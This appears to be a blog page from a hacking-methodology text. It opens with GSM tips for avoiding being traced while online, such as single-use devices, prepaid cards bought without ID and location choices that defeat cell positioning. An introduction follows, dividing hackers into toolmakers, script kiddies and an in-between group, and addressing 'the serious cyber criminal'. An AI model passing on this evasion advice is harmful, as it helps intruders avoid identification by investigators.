GSM:
1. Remember that the device number (IMEI) is logged (and it can be blocked). Keep this in mind! The ultimate would be to use a single device only once. - never use the device in a location that is linked to you (e.g. a microcell inside your office)
2. Try to use either a very densely populated cell (shopping malls) or a location where there is only one tracking cell (like close to the highway) as it makes it very hard to do spot positioning. Moving around while you are online also makes it much harder to track you down.
3. Use prepaid cards! For obvious reasons you do not want the source number to point directly to you. Prepaid cards are readily available without any form of identification. (note: some prepaid cards does not have data facilities, so find out first)
4. GSM has data limitations - currently the maximum data rate is 9600bps.

Saturday, September 18, 2010

What is this document about anyway?

While I was writing this document a book "Hack Proofing Your Network" was released. I haven't been able to read it (dunno if its in print yet, and besides - everything takes a while to get to South Africa). I did however read the first chapter, as it is available to the public. In this chapter the author writes about different views on IT security - hackers, crackers, script kiddies and everything in between. I had some thoughts about this and decided that it was a good starting point for this document.
I want to simplify the issue - let us forget motives at the moment, and simply look at the different characters in this play. To do this we will look at a real world analogy. Let us assume the ultimate goal is breaking into a safe (the safe is a database, a password file, confidential records or whatever). The safe is located inside of a physical building (the computer that hosts the data). The building is located inside of a town (the computer is connected to a network). There is a path/highway leading to the town and the path connects the town to other towns and/or cities. (read Internet/Intranet). The town/city is protected by a tollgate or an inspection point (the network is protected by a firewall, screening router etc.) There might be certain residents (the police) in the town looking for suspicious activity, and reporting it to the town's mayor (the police being an IDS, reporting attacks to the sysadmin). Buildings have their own protection methods, locks chains, and access doors (on-host firewalling, TCP wrappers, usernames and passwords). The analogy can be extended to very detailed levels, but this is not the idea.
In this world there are the ones that specialize in building or safe cracking. They are not concerned with the tollgates, or the police. They are lock-picking experts - be that those of the house, or of the safe. They buy a similar safe, put it in their labs and spend months analyzing it. At the end of this period they write a report on this particular safe - they contact the manufacturer, and might even build a tool that can assist in the breaking of the safe. Maybe they don't even manage to crack into the safe - they might just provide ways to determine the type of metal the safe is made of - which might be interesting on its own. These people are the toolmakers, the Bugtraq 0-day report writers, the people that other hackers consider to be fellow hackers.
And the rest? The rest are considered to be tool users - a.k.a. script kiddies. They are portrayed as those rushing into towns, looting and throwing bricks through windows, bricks that were built by the toolmakers mentioned in the previous paragraph. They don't have any idea of the inner workings of these tools. They are portrayed as those that ring the doorbell and then runs away, just to do it a trillion times a day - those that steals liquor from the village restaurant to sell it in their own twisted village. A scary and dangerous crowd.
Is there nothing in between these groups of people? Imagine a person with a toolbox with over a thousand specialized tools in it. He knows how to use every one of these tools - what tool to use in what situation. He can make some changes to these tools - not major changes, but he can mold a tool for a specific occasion. He knows exactly where to start looking for a safe - in which town, in what building. He knows of ways to slip into the town totally undetected, with no real ID. He knows how to inspect the safe, use the correct tools, take the good stuff and be out of town before anyone detected it. He has a X-ray machine to look inside a building, yet he does not know the inner workings of the machine. He will use any means possible to get to the safe - even if it means paying bribes to the mayor and police to turn a blind eye. He has a network of friends that include tool builders, connections in "script kiddie" gangs and those that build the road to the town. He knows the fabric of the buildings, the roads, the safes and the servants inside the buildings. He is very agile and can hop from village to city to town. He has safe deposit boxes in every city and an ultra modern house at the coast. He knows ways of getting remote control surveillance devices into the very insides of security complexes, and yet he does not know the intricacies of the device itself. He knows the environment, he knows the principals of this world and everything that lives inside the world. He is not focused on one device/safe/building/tollgate but understands all the issues surrounding the objects. Such a person is not a toolmaker, neither is he a script kiddie, yet he is regarded as a Script Kiddie by those who calls themselves "hackers", and as such he has no real reason for existence.
This document is written for the in-between group of people. Toolmakers will frown upon this document and yet it may provide you with some useful insight (even if it better the tools you manufacture). It attempts to provide a methodology for hacking. It attempt to answers to "how to" question, not the "why" or the "who". It completely sidesteps the moral issue of hacking; it also does not address the issue of hackers/crackers/black hats/gray hats/white hats. It assumes that you have been in this industry long enough to be beyond the point of worrying about it. It does not try to make any excuses for hacking - it does not try to pretend that hacking is a interesting past-time. The document is written for the serious cyber criminal. All of this sounds a bit hectic and harsh. The fact of the matter is that sysadmins, security consultants, and IT managers will find this document just as interesting as cyber criminals will. Looking at your network and IT infrastructure from a different viewpoint could give you a lot of insight into REAL security issues (this point has been made over and over and over and I really don't to spend my time explaining it again [full disclosure blah blah whadda whadda wat wat]).
A note to the authors of the book "Hack proofing your network" - I truly respect the work that you have done and are doing (even though I have not read your book - I see your work every now and again). This document will go on the Internet free of charge - this document does NOT try to be a cheap imitation of what you have done, it does not in any way try to be a substitute (I am a tool user, where as you are tool writers...remember? :) )
Before we start, a few prerequisites for reading this document. Unless you want to feel a bit left in the cold you should have knowledge of the following:
1. Unix (the basics, scripting, AWK, PERL, etc.)
2. TCP/IP (routing, addressing, subnetting etc.)
3. The Internet (the services available on the 'net-e.g. DNS, FTP, HTTP, SSH, telnet etc.)
4. Experience in IT security (packetfiltering, firewalling, proxies etc.)
I have written this document over a rather long period of time. Sites and tools could be outdated by the time you read this. I wrote the document with no prior knowledge about the "targets". You will find that in many cases I make assumptions that are later found not to be true. Reading through the text will thus provide you with an un-edited view of the thought processes that I had.
Chances are very good that I am talking a load of bullshit at times - if you are a terminology expert, and I have used your pet word in the wrong context - I am really sorry - it won't ever happen again. Now please leave. In the case that I totally go off track on technical issues - please let me know. Also my English sucks, so if I loose track of the language please bear with me - I tried to write it in simple words. This is not an academic paper!!